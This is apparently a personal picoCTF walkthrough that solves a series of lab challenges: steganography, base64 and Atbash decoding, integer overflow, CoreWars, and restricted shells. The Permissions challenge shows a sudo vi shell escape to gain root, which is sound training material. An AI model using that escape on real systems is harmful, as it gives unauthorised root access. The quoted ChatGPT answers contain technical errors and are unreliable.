Embedded Files
chrono
| | 100 points
Tags: General Skillslinux
AUTHOR: MUBARAK MIKAIL
Description
How to automate tasks to run at intervals on linux servers?
Additional details will be available after launching your challenge instance.
picoCTF{Sch3DUL7NG_T45K3_L1NUX_abe2c490}
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ ssh picoplayer@saturn.picoctf.net -p 64468
picoplayer@challenge:~$ crontab -e
no crontab for picoplayer - using an empty one
update-alternatives: error: no alternatives for editor
/usr/bin/sensible-editor: 25: editor: not found
/usr/bin/sensible-editor: 28: nano: not found
/usr/bin/sensible-editor: 31: nano-tiny: not found
/usr/bin/sensible-editor: 34: vi: not found
Couldn't find an editor!
Set the $EDITOR environment variable to your desired editor.
crontab: "/usr/bin/sensible-editor" exited with status 1
picoplayer@challenge:~$ sudo crontab -e
[sudo] password for picoplayer:
picoplayer is not in the sudoers file. This incident will be reported.
picoplayer@challenge:~$ cd /etc
picoplayer@challenge:/etc$ cat crontab
# picoCTF{Sch3DUL7NG_T45K3_L1NUX_abe2c490}
findme
| | 100 points
Tags: Web Exploitation
AUTHOR: GEOFFREY NJOGU
Description
Help us test the form by submiting the username as test and password as test!
Additional details will be available after launching your challenge instance.
picoCTF{proxies_all_the_way_599a80c2}
Go to the site, follow the instructions.
Poked around the site, but could not find anything.
Use Developer Tool, capture traffic from the first page to login success, you see there are two entried with no response:
http://saturn.picoctf.net:56021/next-page/id=cGljb0NURntwcm94aWVzX2Fs
http://saturn.picoctf.net:56021/next-page/id=bF90aGVfd2F5XzU5OWE4MGMyfQ==
The values of id look like base64 encoded. Decode these two id values and you get the flag.
hideme
| | 100 points
Tags: Forensicssteganography
AUTHOR: GEOFFREY NJOGU
Description
Every file gets a flag.The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.
picoCTF{Hidding_An_imag3_within_@n_ima9e_c31884c7}
Try online tool first.
Looks binwalk found some hidden file.
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ binwalk flag.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
41 0x29 Zlib compressed data, compressed
39739 0x9B3B Zip archive data, at least v1.0 to extract, name: secret/
39804 0x9B7C Zip archive data, at least v2.0 to extract, compressed size: 2832, uncompressed size: 2984, name: secret/flag.png
42871 0xA777 End of Zip archive, footer length: 22
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ binwalk -e flag.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
41 0x29 Zlib compressed data, compressed
39739 0x9B3B Zip archive data, at least v1.0 to extract, name: secret/
39804 0x9B7C Zip archive data, at least v2.0 to extract, compressed size: 2832, uncompressed size: 2984, name: secret/flag.png
42871 0xA777 End of Zip archive, footer length: 22
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ ls
aaa.txt atbash.jpg encrypted.txt flag.png _flag.png.extracted
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ cd _flag.png.extracted
┌──(kali㉿kali)-[~/Desktop/picoCTF/_flag.png.extracted]
└─$ ls
29 29.zlib 9B3B.zip secret
┌──(kali㉿kali)-[~/Desktop/picoCTF/_flag.png.extracted]
└─$ cd secret
┌──(kali㉿kali)-[~/Desktop/picoCTF/_flag.png.extracted/secret]
└─$ ls
flag.png
HideToSee
| | 100 points
Tags: Cryptography
AUTHOR: SUNDAY JACOB NWANYIM
Description
How about some hide and seek heh?Look at this image here.
picoCTF{atbash_crack_6c4bcb08}
Tried online tool:
Online steg site with all the tools together
It has strings, exiftool and some others. The simple ones didn't work.
Try steghide.
Try password atbash with steghide and it does not work.
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ steghide info atbash.jpg
"atbash.jpg":
format: jpeg
capacity: 2.4 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
steghide: could not extract any data with that passphrase!
Try without password and it worked.
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ steghide info atbash.jpg
"atbash.jpg":
format: jpeg
capacity: 2.4 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "encrypted.txt":
size: 31.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Extract file without password.
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ steghide extract -sf atbash.jpg
Enter passphrase:
wrote extracted data to "encrypted.txt".
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ cat encrypted.txt
krxlXGU{zgyzhs_xizxp_6x4yxy08}
Notice the image says atbash. So decode this string with atbash decoder:
picoCTF{atbash_crack_6c4bcb08}
MatchTheRegex
| | 100 points
Tags: Web Exploitation
AUTHOR: SUNDAY JACOB NWANYIM
Description
How about trying to match a regular expressionThe website is running here.
picoCTF{succ3ssfully_matchtheregex_18b306a0}
First try search with ***, get an error.
Then try search with picoCTF*** and it worked
money-ware
|
| 100 points
Tags:
Author: Juni19
Description
Flag format: picoCTF{Malwarename} The first letter of the malware name should be capitalized and the rest lowercase. Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?
Just google
"1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX malware"
You will find news that points to a malware named Petya.
picoCTF{Petya}
PcapPoisoning
| | 100 points
Tags: Forensicspcap
AUTHOR: MUBARAK MIKAIL
Description
How about some hide and seek heh?Download this file and find the flag.
Open the file in wireshark.
Search key word pico. And you will find it.
picoCTF{P64P_4N4L7S1S_SU55355FUL_ba1a6097}
Permissions
| | 100 points
Tags: General Skillsvim
AUTHOR: GEOFFREY NJOGU
Description
Can you read files in the root file?The system admin has provisioned an account for you on the main server:ssh -p 58850 picoplayer@saturn.picoctf.netPassword: cbjrrAIyO4Can you login and read the root file?
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ ssh -p 58850 picoplayer@saturn.picoctf.net
The authenticity of host '[saturn.picoctf.net]:58850 ([3.12.65.157]:58850)' can't be established.
ED25519 key fingerprint is SHA256:oCgGxVpfRH0kgCbgMYs6D+4eE2zVsDCCjmEzmEiK2iQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:58850' (ED25519) to the list of known hosts.
picoplayer@saturn.picoctf.net's password:
picoplayer@challenge:~$ cd /root
-bash: cd: /root: Permission denied
picoplayer@challenge:~$ whoami
picoplayer
picoplayer@challenge:~$ sudo -i
[sudo] password for picoplayer:
Sorry, user picoplayer is not allowed to execute '/bin/bash' as root on challenge.
picoplayer@challenge:~$ sudo -l
[sudo] password for picoplayer:
Matching Defaults entries for picoplayer on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoplayer may run the following commands on challenge:
(ALL) /usr/bin/vi
First see if you can use vi to open the flag.txt file under /root.
picoplayer@challenge:~$ vi /root/flag.txt
picoplayer@challenge:~$ sudo vi /root/flag.txt
Nothing showed up.
So you can run vi with sudo permission, check what command can be used to get a root shell from vi:
https://gtfobins.github.io/gtfobins/vi/#sudo
picoplayer@challenge:~$ sudo vi -c ':!/bin/sh' /dev/null
# cd /root
# ls
flag.txt
# cat flag.txt
# ls -al
total 16
drwx------ 1 root root 38 Mar 15 08:17 .
drwxr-xr-x 1 root root 63 Mar 15 08:14 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 35 Mar 15 02:46 .flag.txt
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw------- 1 root root 707 Mar 15 08:17 .viminfo
-rw-r--r-- 1 root root 0 Mar 15 08:17 flag.txt
# cat .flag.txt
picoCTF{uS1ng_v1m_3dit0r_27f6a05a}
#
ReadMyCert
| | 100 points
Tags: Cryptography
AUTHOR: SUNDAY JACOB NWANYIM
Description
How about we take you on an adventure on exploring certificate signing requestsTake a look at this CSR file here.
Download the CSR file, try base64 decoder. So just decode the file and you will get the flag. If you want to read all the contents, try a CSR decoder https://www.sslshopper.com/csr-decoder.html . The flag is the common name of the cert.
picoCTF{read_mycert_12eba7f1}
Ready Gladiator 0
Ready Gladiator 0
| | 100 points
Tags: Reverse EngineeringCoreWars
AUTHOR: LT 'SYREAL' JONES
Due to Instance Launching maintenance, you may access the challenge download file to work offline:
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and start your own corewars server
Description
Can you make a CoreWars warrior that always loses, no ties?Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:nc saturn.picoctf.net 59924 < imp.red
picoCTF{h3r0_t0_z3r0_4m1r1gh7_7c030e56}
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ nc saturn.picoctf.net 59924 < imp.red
Submit your warrior: (enter 'end' when done)
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end
Warrior1:
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end
Rounds: 100
Warrior 1 wins: 0
Warrior 2 wins: 0
Ties: 100
Try again. Your warrior (warrior 1) must lose all rounds, no ties.
Follow the instruction and try it first. It looks like a game with input file.
I asked ChatGPT. 😀
Can you make a CoreWars warrior that always loses, no ties?
Yes, I can create a CoreWars warrior that always loses without any ties. One simple strategy for doing so is to create a warrior that simply performs a single "DAT" instruction, which writes a "0" to the current address and terminates execution. This warrior will always lose because it never performs any useful action, and it immediately destroys itself by writing a "0" to its own memory location.
Here is an example CoreWars warrior code that always loses:
MOV 0, 0 ; move 0 to address 0
DAT #0 ; write 0 to address 1 and terminate
and terminate
This warrior loads the value "0" into memory location 0 using the "MOV" instruction, and then writes a "0" to memory location 1 using the "DAT" instruction. The "DAT" instruction also terminates the execution of the warrior, ensuring that it cannot perform any further actions.
When this warrior is executed in a CoreWars simulation, it will immediately write a "0" to memory location 1 and terminate, guaranteeing that it loses the battle.
So give it a try!
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ nc saturn.picoctf.net 59924 < imp1.red
MOV 0, 0;
DAT #0
Submit your warrior: (enter 'end' when done)
end
'end'
^C
Looks the input file need a "end".
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ nc saturn.picoctf.net 59924 < imp1.red
MOV 0, 0;
DAT #0
end
Submit your warrior: (enter 'end' when done)
Warrior1:
MOV 0, 0;
DAT #0
end
Warning:
Missing ';assert'. Warrior may not work with the current setting
Number of warnings: 1
Rounds: 100
Warrior 1 wins: 0
Warrior 2 wins: 100
Ties: 0
You did it!
picoCTF{h3r0_t0_z3r0_4m1r1gh7_7c030e56}
two-sum
two-sum
| | 100 points
Tags: Binary Exploitation C make
AUTHOR: MUBARAK MIKAIL
Due to Instance Launching maintenance, you may access the challenge download file to work offline:
What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2
Description
Can you solve this?
Additional details will be available after launching your challenge instance.
picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}
Download the source code C program. Read the program, so it asks for integer overflow.
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ nc saturn.picoctf.net 50022
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647 1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}
I tried to ask ChatGPT:
what integer number a and b can make this happen in C language?
I'm sorry, but I'm not sure what you are referring to. Could you please provide more context and information about what you are trying to achieve in your C program?
static int addIntOvf(int result, int a, int b) { result = a + b; if(a > 0 && b > 0 && result < 0) return -1; if(a < 0 && b < 0 && result > 0) return -1; return 0; }
The addIntOvf function appears to be checking for integer addition overflow by verifying that the signs of a, b, and result are consistent with the expected outcome of the addition.
If a and b have the same sign (both positive or both negative) and the sum of a and b has the opposite sign, then overflow has occurred. In this case, the function returns -1 to indicate that overflow has occurred.
If a and b have different signs (one positive and one negative), then overflow cannot occur. In this case, the function returns 0 to indicate that no overflow has occurred.
It's worth noting that this implementation assumes two's complement representation of signed integers, which is the most common representation used in modern computers.
To answer your question, there are many integer values of a and b that can make this function return -1, depending on the range of integers that are being used in the C implementation. If you provide more information about the integer range being used, I may be able to provide a specific example?
can you give examples of a and b for 16-bit and 32-bit systems?
Sure, here are some examples of values for a and b that can cause the addIntOvf function to return -1 for 16-bit and 32-bit systems:
For a 16-bit system, the range of integers is -32,768 to 32,767. Here are some examples:
If a is 32,767 (maximum value for a 16-bit signed integer) and b is 1, then a + b will overflow and the function will return -1.
If a is -32,768 (minimum value for a 16-bit signed integer) and b is -1, then a + b will overflow and the function will return -1.
For a 32-bit system, the range of integers is -2,147,483,648 to 2,147,483,647. Here are some examples:
If a is 2,147,483,647 (maximum value for a 32-bit signed integer) and b is 1, then a + b will overflow and the function will return -1.
If a is -2,147,483,648 (minimum value for a 32-bit signed integer) and b is -1, then a + b will overflow and the function will return -1.
It's worth noting that these are just examples, and there are many other combinations of values for a and b that can cause the function to return -1.
what about 64-bit system?
For a 64-bit system, the range of integers is -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807. Here are some examples of values for a and b that can cause the addIntOvf function to return -1:
If a is 9,223,372,036,854,775,807 (maximum value for a 64-bit signed integer) and b is 1, then a + b will overflow and the function will return -1.
If a is -9,223,372,036,854,775,808 (minimum value for a 64-bit signed integer) and b is -1, then a + b will overflow and the function will return -1.
It's worth noting that these are just examples, and there are many other combinations of values for a and b that can cause the function to return -1 on a 64-bit system.
useless
useless
| | 100 points
Tags: General Skillsman
AUTHOR: LOIC SHEMA
Description
There's an interesting script in the user's home directoryThe work computer is running SSH. We've been given a script which performs some basic calculations, explore the script and find a flag.Hostname: saturn.picoctf.net
Port: 50619
Username: picoplayer
Password: password
picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_3555}
This is not a good challenge.
Login to the machine. Read the code, so this is a basic arithmetic function. Nothing fancy. Asked ChatGPT, no buffer overflow, no privilege escalation.
Then notice the keyword for this challenge – man and the code says checking manual.
picoplayer@challenge:~$ man useless
useless
useless, — This is a simple calculator script
SYNOPSIS
useless, [add sub mul div] number1 number2
DESCRIPTION
Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division.
Examples
./useless add 1 2
This will add 1 and 2 and return 3
./useless mul 2 3
This will return 6 as a product of 2 and 3
./useless div 6 3
This will return 2 as a quotient of 6 and 3
./useless sub 6 5
This will return 1 as a remainder of substraction of 5 from 6
Authors
This script was designed and developed by Cylab Africa
picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_3555}
picoplayer@challenge:~$
Ready Gladiator 1
Ready Gladiator 1
| | 200 points
Tags: Reverse EngineeringCoreWars
AUTHOR: LT 'SYREAL' JONES
Due to Instance Launching maintenance, you may access the challenge download file to work offline:
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and run your own core wars server
Description
Can you make a CoreWars warrior that wins?Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:nc saturn.picoctf.net 53899 < imp.redTo get the flag, you must beat the Imp at least once out of the many rounds.
picoCTF{1mp_1n_7h3_cr055h41r5_b182a3f1}
It looks similar to Ready Gladiator 0, so I asked ChatGPT again. But this time, it cannot solve the problem. It ended up with some syntax errors. So, I tried to google online.
https://vyznev.net/corewar/guide.html
Here is a good instruction with sample code. It mentions a Dwarf. I copy the code over and it worked!
┌──(kali㉿kali)-[~/Desktop/picoCTF]
└─$ nc saturn.picoctf.net 53899 < impnew3.red
ADD #4, 3 ; execution begins here
MOV 2, @2
JMP -2
DAT #0, #0
end
Submit your warrior: (enter 'end' when done)
Warrior1:
ADD #4, 3 ; execution begins here
MOV 2, @2
JMP -2
DAT #0, #0
end
Warning:
Missing ';assert'. Warrior may not work with the current setting
Number of warnings: 1
Rounds: 100
Warrior 1 wins: 25
Warrior 2 wins: 0
Ties: 75
You did it!
picoCTF{1mp_1n_7h3_cr055h41r5_b182a3f1}
https://www.angio.net/res/garden.pdf
Specialer
Specialer
| | 400 points
Tags: General Skillsbashssh
AUTHOR: LT 'SYREAL' JONES, ET AL.
Description
Reception of Special has been cool to say the least. That's why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just 'Specialer'. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody's complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.ssh -p 65319 ctf-player@saturn.picoctf.net. The password is 3f39b042
picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_811ae7e9}
Login to the machine, this time it looks the wrapper program is gone. You can run commands. But most of common commands are no longer available. It looks only bash shell native commands are still available.
Specialer$ history
1 cd /etc
2 cd /usr
3 command
4 command -help
5 command ls
6 eval env
7 history
Specialer$ compgen -b
.
:
[
alias
bg
bind
break
builtin
caller
cd
command
compgen
complete
compopt
continue
declare
dirs
disown
echo
enable
eval
exec
exit
export
false
fc
fg
getopts
The list is long but not many useful commands are there.
Use cd command you will notice there is no /usr either.
So the question is what is the alternative commands we can use to run as 'ls' and 'cat'?
I asked ChatGPT and it actually pretty helpful. Sometimes you just need to ask mutliple times.
Specialer$ echo *
abra ala sim
Specialer$ cd abra
Specialer$ echo *
cadabra.txt cadaniel.txt
Specialer$ cd ..
Specialer$ cd ala
Specialer$ echo *
kazam.txt mode.txt
Specialer$ cd ..
Specialer$ cd sim
Specialer$ echo *
city.txt salabim.txt
Specialer$ echo city.txt
city.txt
Specialer$ more
-bash: more: command not found
Specialer$ less
-bash: less: command not found
Specialer$ od -c city.txt
-bash: od: command not found
Specialer$ vi
-bash: vi: command not found
Specialer$ nano
-bash: nano: command not found
Specialer$ vim
-bash: vim: command not found
Specialer$ echo $(<city.txt)
05ed181c-4aa0-4d4a-8505-2fe6ca9097d3
Specialer$ echo $(<salabim.txt)
#He was so kind, such a gentleman tied to the oceanside#
Specialer$ cd ..
Specialer$ echo *
abra ala sim
Specialer$ cd ala
Specialer$ echo *
kazam.txt mode.txt
Specialer$ echo $(<kazam.txt)
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_811ae7e9}
Specialer$
***************************************************
ChatGPT chat script:
if ls command is not available, what command can I use to list the programs available to me?
If the ls command is not available, you can try using the echo command to display the contents of the current directory.
For example, you can use the following command to list the files and directories in the current directory:
echo * *
if cat command is not available, what command can I use to show the content of a file on Linux?
If the cat command is not available, you can use the more command or the less command to view the contents of a file on Linux.
To use the more command, simply type the following command followed by the name of the file you want to view:
Copy code
more filename
This will display the contents of the file one page at a time. To move to the next page, press the space bar. To exit the more command, press q.
To use the less command, type the following command followed by the name of the file you want to view:
Copy code
less filename
This will display the contents of the file, allowing you to scroll up and down through the text using the arrow keys. To exit the less command, press q.
Both the more and less commands are commonly available on Linux systems, so they should be a reliable backup if the cat command is not available.
but both more and less commands are not available either
If both the cat, more, and less commands are not available on your Linux system, you can try using the od command to display the contents of a file in a hexadecimal format.
To use the od command, type the following command followed by the name of the file you want to view:
od -c filename
This will display the contents of the file in a hexadecimal format, with each byte of data shown as a two-digit hexadecimal number. This can be difficult to read, but it will show you the contents of the file.
Alternatively, you can use a text editor like vi or nano to view the contents of the file. These editors are typically available on most Linux systems. To use vi, type the following command followed by the name of the file you want to view:
Copy code
vi filename
This will open the file in the vi editor, which allows you to view and edit the contents of the file. To exit the vi editor, press Esc and then type :q and press Enter.
To use nano, type the following command followed by the name of the file you want to view:
Copy code
nano filename
This will open the file in the nano editor, which also allows you to view and edit the contents of the file. To exit the nano editor, press Ctrl+X and then confirm that you want to exit by pressing Y and then Enter.
od, nano are vi are not available either
If cat, more, less, od, nano, and vi commands are not available, you can try using the echo command to display the contents of the file. However, this may not work well for larger files as it will print the contents of the file on the terminal.
To use the echo command to display the contents of a file, type the following command followed by the name of the file:
echo $(<filename)
echo $(<filename)
This will display the contents of the file on the terminal.
If this doesn't work, you can try using a different text editor that is available on your system, such as emacs or pico.
To use emacs, type the following command followed by the name of the file:
emacs filename
emacs filename
This will open the file in the emacs editor, which allows you to view and edit the contents of the file. To exit the emacs editor, press Ctrl+X and then confirm that you want to exit by pressing Y and then Enter.
To use pico, type the following command followed by the name of the file:
pico filename pico filename
This will open the file in the pico editor, which also allows you to view and edit the contents of the file. To exit the pico editor, press Ctrl+X and then confirm that you want to exit by pressing Y and then Enter.
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